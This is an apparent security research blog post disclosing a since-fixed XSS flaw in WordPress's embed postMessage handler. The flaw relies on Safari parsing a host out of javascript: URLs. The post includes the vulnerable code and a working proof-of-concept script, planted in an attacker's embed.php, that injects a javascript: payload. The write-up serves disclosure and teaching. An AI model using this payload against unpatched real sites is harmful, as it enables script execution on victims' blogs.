This website uses cookies

To provide the highest level of service we use cookies on this site.
Your continued use of the site means that you agree to their use in accordance with our terms and conditions.

Insights

XSS in WordPress via open embed auto discovery

Jakub Żoczek

May 29, 2023

Introduction

Users often assume that known software is free of security flaws because it has been checked by a sufficient number of tools and security testers. However, this is not an assumption that a pentester or bug hunter can afford to make. Vulnerabilities may lurk in various places, and finding an interesting bug often requires patient searching. Applying this approach allowed me to discover an XSS class vulnerability in a well-known CMS like WordPress, which I will describe later.



What is postMessage()?

To understand my line of thinking and methodology, I first need to discuss what postMessage() is. It is part of the Web API, allows for safe and secure cross-origin communication between Window objects, it means that this method can send a message from one window to another, regardless of their origins. However, wrong usage of this feature can open up potential vectors for security vulnerabilities, such as the XSS we’re discussing in this article.

Root cause

Let’s take a look to the core of problem – JavaScript postMessage handler:


          if (c.wp.receiveEmbedMessage = function(e) {
                  var t = e.data;
                  if (t)
                      if (t.secret || t.message || t.value)
                          if (!/[^a-zA-Z0-9]/.test(t.secret)) {
                              for (var r, a, i, s = d.querySelectorAll('iframe[data-secret="' + t.secret + '"]'), n = d.querySelectorAll('blockquote[data-secret="' + t.secret + '"]'), o = 0; o < n.length; o++)
                                  n[o].style.display = "none";
                              for (o = 0; o < s.length; o++)
                                  if (r = s[o],
                                  e.source === r.contentWindow) {
                                      if (r.removeAttribute("style"),
                                      "height" === t.message) {
                                          if (1e3 < (i = parseInt(t.value, 10)))
                                              i = 1e3;
                                          else if (~~i < 200)
                                              i = 200;
                                          r.height = i
                                      }
                                      if ("link" === t.message)
                                          if (a = d.createElement("a"),
                                          i = d.createElement("a"),
                                          a.href = r.getAttribute("src"),
                                          i.href = t.value,
                                          i.host === a.host)
                                              if (d.activeElement === r)
                                                  c.top.location.href = t.value
                                  }
                          }
              }     

Things that could be noticed in this code:

  • Secret need to be known (but it’s provided as location.hash of embed webpage, so it’s not a problem)
  • Only content window can send postMessages (which is cool, as it’s attacker website)
  • If message attribute of postMessage data has link value – crazy things are happening
  • most important c.top.location.href = t.value where t is postMessage data controlled by the attacker.

  • The last point obviously can lead to XSS if attacker will use javascript:alert(document.domain) as t.value, however – before it happen important check is made:

    
              if (a = d.createElement("a"),
                                                    i = d.createElement("a"),
                                                    a.href = r.getAttribute("src"),
                                                    i.href = t.value,
                                                    i.host === a.host)  
            	
    This code checks if the hostname provided in t.value is the same as the hostname of the embed page. It creates <a> element, but t.value as href attribute and then – takes the host attribute of the created URL. This approach is of course way better than some regular expression magic 😉 but there’s a behavior specific in Safari browser:

    
                > var a = document.createElement("a")
                > a.href="javascript://google.com/%0aalert(document.domain);//"
                > console.log(a.host)
                < google.com	


    All other browsers return an empty string in case of using javascript: scheme, but not Safari. This could lead the attacker to use javascript schema and execute javascript code in top window (victim’s blog).

    Steps to reproduce

    1. Get an evil WordPress instance.
    2. Edit wordpress/wp-includes/theme-compat/embed.php file and add your custom HTML code:

    
                  <script>
              if(document.location.hash.indexOf("secret") != -1) {
                secret = document.location.hash.split("=")[1];
                window.top.postMessage({"secret":secret,"message":"link","value":"javascript://"+document.location.host+"/%0aalert(document.domain);//"},"*");
              }
              </script>
          
    3. Create any post on an attacker blog, publish it and get its URL.
    4. On victim WordPress site (Safari) add new post with embed post from victim WordPress
    5. Alert executed:

    Summary

    This analysis and found bug demonstrates that even widely used platforms like WordPress are not immune to such known vulnerabilities as XSS.

    The problem we found in the JavaScript postMessage handler shows how penetration testers can use deep knowledge how different web browsers work, and attack a function that was considered safe. This problem has now been fixed, but it’s a clear message to everyone creating websites and web apps that security audits need to be ongoing and cover all web browsers.

    References:
    https://wpscan.com/vulnerability/3b574451-2852-4789-bc19-d5cc39948db5
    https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/

    Other Insights

    Helping secure DOMPurify

    MICHAŁ BENTKOWSKI

    December 21, 2020

    Within last year I shared a a few writeups of my bypasses of HTML sanitizers, including: > Write-up of DOMPurify 2.0.0 bypass using mutation XSS > Mutation XSS via namespace confusion – DOMPurify < 2.0.17 bypass While breaking sanitizers is fun and I thoroughly enjoy doing it, I reached a point where I began to think whether I can contribute even more and propose a fix that will kill an entire class of bypasses.

    Pyscript - or rather Python in your browser + what can be done with it

    Michał Bentkowski

    September 10, 2022

    A few days ago, the Anaconda project announced the PyScript framework, which allows Python code to be executed directly in the browser. Additionally, it also covers its integration with HTML and JS code. An execution of the Python code in the browser is not new; the pyodide project has allowed this for a long time...

    Art of bug bounty a way from JS file analysis to XSS

    jAKUB żOCZEK

    July 1, 2020

    Summary: During my research on other bug bounty program I've found Cross-Site Scripting vulnerability in cmp3p.js file, which allows attacker to execute arbitrary javascript code in context of domain that include mentioned script. Below you can find the way of finding bug bounty vulnerabilities from the beginning to the ...

    Any questions?

    Happy to get a call or email
    and help!

    Terms and conditions
    © 2023 Securitum. All rights reserved.